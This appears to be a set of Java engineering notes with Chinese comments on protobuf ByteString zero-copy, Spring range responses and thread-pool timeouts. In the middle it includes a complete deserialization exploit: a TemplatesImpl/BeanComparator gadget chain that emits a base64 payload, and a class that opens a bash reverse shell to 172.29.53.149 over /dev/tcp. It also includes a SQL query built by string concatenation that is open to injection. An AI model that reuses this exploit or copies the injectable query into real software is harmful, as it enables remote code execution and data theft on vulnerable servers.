1. byte[] bytes = BlobStore.loadFile(); 
2. ByteString pb = ByteString.copyFrom(bytes); 
3. ByteString afterDecrypt = callRpc(pb); // 2次拷贝 
4. byte[] decryptBytes = afterDecryp.toByteArray(); 
5. byte[] resp = XXXUtils.downloadRange(decryptBytes);

byte[] videoBytes = doLoadFile(videoKey);
return ByteString.copyFrom(videoBytes);

// 要求fileBytes是immutable的，数据不能再修改
ByteString data = UnsafeByteOperations.unsafeWrap(fileBytes);

// 1. 方法1:
public abstract InputStream newInput();
// 2. 方法2:
public abstract ByteBuffer asReadOnlyByteBuffer()

// org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor#writeWithMessageConverters(T, org.springframework.core.MethodParameter, org.springframework.http.server.ServletServerHttpRequest, org.springframework.http.server.ServletServerHttpResponse)
if (isResourceType(value, returnType)) {
			outputMessage.getHeaders().set(HttpHeaders.ACCEPT_RANGES, "bytes");
			if (value != null && inputMessage.getHeaders().getFirst(HttpHeaders.RANGE) != null &&
					outputMessage.getServletResponse().getStatus() == 200) {
				Resource resource = (Resource) value;
				try {
					List<HttpRange> httpRanges = inputMessage.getHeaders().getRange();
					outputMessage.getServletResponse().setStatus(HttpStatus.PARTIAL_CONTENT.value());
					body = HttpRange.toResourceRegions(httpRanges, resource);
					valueType = body.getClass();
					targetType = RESOURCE_REGION_LIST_TYPE;
				}
				catch (IllegalArgumentException ex) {
					outputMessage.getHeaders().set(HttpHeaders.CONTENT_RANGE, "bytes */" + resource.contentLength());
					outputMessage.getServletResponse().setStatus(HttpStatus.REQUESTED_RANGE_NOT_SATISFIABLE.value());
				}
			}
		}

@RequestMapping("/load")
    @ResponseBody
    public ResponseEntity<ByteArrayResource> load(@RequestParam(value = "fileKey") String fileKey, HttpServletRequest request) {
        byte[] fileBytes = doLoadFile(fileKey, false);
        MediaType mediaType = parseMediaType(fileKey);
        final HttpHeaders headers = new HttpHeaders();
        headers.setContentType(mediaType);
        headers.set("Content-Disposition", "attachment; filename=" + fileKey);
        headers.set("Access-Control-Allow-Headers", "Range,Content-Length");
        headers.set("Access-Control-Allow-Methods", "GET,POST,OPTIONS");
        headers.set("Access-Control-Allow-Origin", "*");
        return ResponseEntity.ok()
                .headers(headers)
                .body(new ByteArrayResource(fileBytes));
    }

@RequestMapping("/video")
@ResponseBody
public ResponseEntity<ByteStringResource> loadVideo(HttpServletRequest request, @RequestParam(value = "fileKey") String fileKey){
  ByteString byteString = doLoadFileV2(fileKey);
            return ResponseEntity.ok()
                    .contentType(VIDEO_TYPE)
                    .cacheControl(maxAge(DEFAULT_CACHE_AGE, DAYS).cachePublic())
                    .eTag(eTag)
                    .body(new ByteStringResource(byteString));
}

/**
	 * Return whether the returned value or the declared return type extends {@link Resource}.
	 */
	protected boolean isResourceType(@Nullable Object value, MethodParameter returnType) {
		Class<?> clazz = getReturnValueType(value, returnType);
		return clazz != InputStreamResource.class && Resource.class.isAssignableFrom(clazz);
	}

/**
	 * Turn a {@code Resource} into a {@link ResourceRegion} using the range
	 * information contained in the current {@code HttpRange}.
	 * @param resource the {@code Resource} to select the region from
	 * @return the selected region of the given {@code Resource}
	 * @since 4.3
	 */
	public ResourceRegion toResourceRegion(Resource resource) {
		// Don't try to determine contentLength on InputStreamResource - cannot be read afterwards...
		// Note: custom InputStreamResource subclasses could provide a pre-calculated content length!
		Assert.isTrue(resource.getClass() != InputStreamResource.class,
				"Cannot convert an InputStreamResource to a ResourceRegion");
		long contentLength = getLengthFor(resource);
		long start = getRangeStart(contentLength);
		long end = getRangeEnd(contentLength);
		return new ResourceRegion(resource, start, end - start + 1);
	}

/**
 * @author fengmengqi <fengmengqi@xxx.com>
 * Created on 2023-02-02
 */
public class ByteStringResource extends AbstractResource {
    private final ByteString byteString;

    private final String description;

    /**
     * Create a new {@code ByteStringResource}.
     *
     * @param byteString the byteString to wrap
     */
    public ByteStringResource(ByteString byteString) {
        this(byteString, "resource loaded from byteString");
    }

    /**
     * Create a new {@code ByteStringResource} with a description.
     *
     * @param byteString the byteString to wrap
     * @param description where the byteString comes from
     */
    public ByteStringResource(ByteString byteString, @Nullable String description) {
        Assert.notNull(byteString, "ByteString must not be null");
        this.byteString = byteString;
        this.description = (description != null ? description : "");
    }


    /**
     * Return the underlying byteString.
     */
    public final ByteString getByteString() {
        return this.byteString;
    }

    /**
     * This implementation always returns {@code true}.
     */
    @Override
    public boolean exists() {
        return true;
    }

    /**
     * This implementation returns the length of the underlying byte array.
     */
    @Override
    public long contentLength() {
        return this.byteString.size();
    }

    /**
     * This implementation returns a ByteArrayInputStream for the
     * underlying byte array.
     *
     * @see java.io.ByteArrayInputStream
     */
    @Override
    public InputStream getInputStream() throws IOException {
        return byteString.newInput();
    }

    /**
     * This implementation returns a description that includes the passed-in
     * {@code description}, if any.
     */
    @Override
    public String getDescription() {
        return "ByteString resource [" + this.description + "]";
    }


    /**
     * This implementation compares the underlying byte array.
     *
     * @see java.util.Arrays#equals(byte[], byte[])
     */
    @Override
    public boolean equals(Object other) {
        return (this == other || (other instanceof ByteStringResource
                && ((ByteStringResource) other).byteString.equals(this.byteString)));
    }

    /**
     * This implementation returns the hash code based on the
     * underlying byte array.
     */
    @Override
    public int hashCode() {
        return (byte[].class.hashCode() * 29 * this.byteString.size());
    }

}

// com.google.protobuf.CodedInputStream.StreamDecoder#readBytesSlowPath
/**
     * Like readBytes, but caller must have already checked the fast path: (size <= (bufferSize -
     * pos) && size > 0 || size == 0)
     */
    private ByteString readBytesSlowPath(final int size) throws IOException {
      final byte[] result = readRawBytesSlowPathOneChunk(size);
      if (result != null) {
        // We must copy as the byte array was handed off to the InputStream and a malicious
        // implementation could retain a reference.
        return ByteString.copyFrom(result);
      }

      final int originalBufferPos = pos;
      final int bufferedBytes = bufferSize - pos;

      // Mark the current buffer consumed.
      totalBytesRetired += bufferSize;
      pos = 0;
      bufferSize = 0;

      // Determine the number of bytes we need to read from the input stream.
      int sizeLeft = size - bufferedBytes;

      // The size is very large. For security reasons we read them in small
      // chunks.
      List<byte[]> chunks = readRawBytesSlowPathRemainingChunks(sizeLeft);

      // OK, got everything.  Now concatenate it all into one buffer.
      final byte[] bytes = new byte[size];

      // Start by copying the leftover bytes from this.buffer.
      System.arraycopy(buffer, originalBufferPos, bytes, 0, bufferedBytes);

      // And now all the chunks.
      int tempPos = bufferedBytes;
      for (final byte[] chunk : chunks) {
        System.arraycopy(chunk, 0, bytes, tempPos, chunk.length);
        tempPos += chunk.length;
      }
      
      return ByteString.wrap(bytes);
    }

java.util.concurrent.ThreadPoolExecutor.getTaskCount()
java.util.concurrent.ThreadPoolExecutor.getActiveCount()

// 方法1. 可以用guava的包:
ListenableFuture<Object> future = Futures.withTimeout(future1, 1, TimeUnit.SECONDS, SC_POOL);

// 方法2. 手动cancel:
// 主调用的地方捕获超时异常:
 catch (TimeoutException e) {
            logger.warn("ruleId {} timeout for userId: {}", ruleId, userId);
            if (TASK_CANCEL.get() && allowCancel) {
                checkFuture.cancel(true); // true: 需要底层对于中断是安全的,有一定风险; false: 仅取消未运行
            }
            perf("csc.center.rule", "timeout/" + ruleId).logstash();
        } catch (InterruptedException e) {
            checkFuture.cancel(true);
            perf("csc.center.rule", "interrupt/" + ruleId).logstash();
        }
// 提交的任务也要捕获中断:
} catch (Exception e) {
                //noinspection ConstantConditions
                if (e instanceof InterruptedException) {
                    perf(CscInfraExecutorImpl.PERF_NS, "/interrupt", var.getVarKey(), var.getVarId()).logstash();
                    logger.debug("InterruptedException: {}", var.getVarKey());
                } else {
                    throw e;
                }
                return null;
            }

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;
import org.springframework.util.comparator.BooleanComparator;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void printPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, BooleanComparator.TRUE_HIGH);
        final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        // stub data for replacement later
        queue.add(false);
        queue.add(true);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[] {obj, obj});

        // ==================
        // 生成序列化字符串
        write(queue);
    }

    public static void write(Object obj) throws Exception {
        // System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.println("base64:");
        String base64Str = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(base64Str);
        System.out.println("base64 end");

        tryDecode(base64Str);
    }

    private static void tryDecode(String base64Str) {
        byte[] res = Base64.getDecoder().decode(base64Str.getBytes());
        InputStream in = new ByteArrayInputStream(res);
        try {
            ObjectInputStream ois = new ObjectInputStream(in);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(HelloTemplatesImpl.class.getName());
        printPayload(clazz.toBytecode());
    }
}

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }

    public HelloTemplatesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime r = Runtime.getRuntime();
        Process p;
        try {
            p = r.exec(new String[] {"/bin/bash", "-c",
                    "exec 5<>/dev/tcp/172.29.53.149/5279;cat <&5 | while read line; do $line 2>&5 >&5; done"});
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("End TemplatesImpl");

    }
}

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

DynamicThreadExecutor.dynamic(POOL_SIZE::get, "csc-center-executor-%d", false);

@param allowCoreThreadTimeout 是否允许核心线程超时后被回收，
*         超时时间参数可通过为{@link ExecutorBuilder.coreThreadKeepAliveMillis}设置
*         默认超时时间为1分钟

private final DynamicThreadExecutor fromBuilder = DynamicThreadExecutor.dynamic(POOL_SIZE::get,
       num -> ExecutorsEx.newBlockingThreadPool(ExecutorBuilder
               .newBuilder()
               .allowCoreThreadTimeout(false)
               .threadSize(num)
               .queueSize(num)
               .theadNameFormat("from-builder-%d")));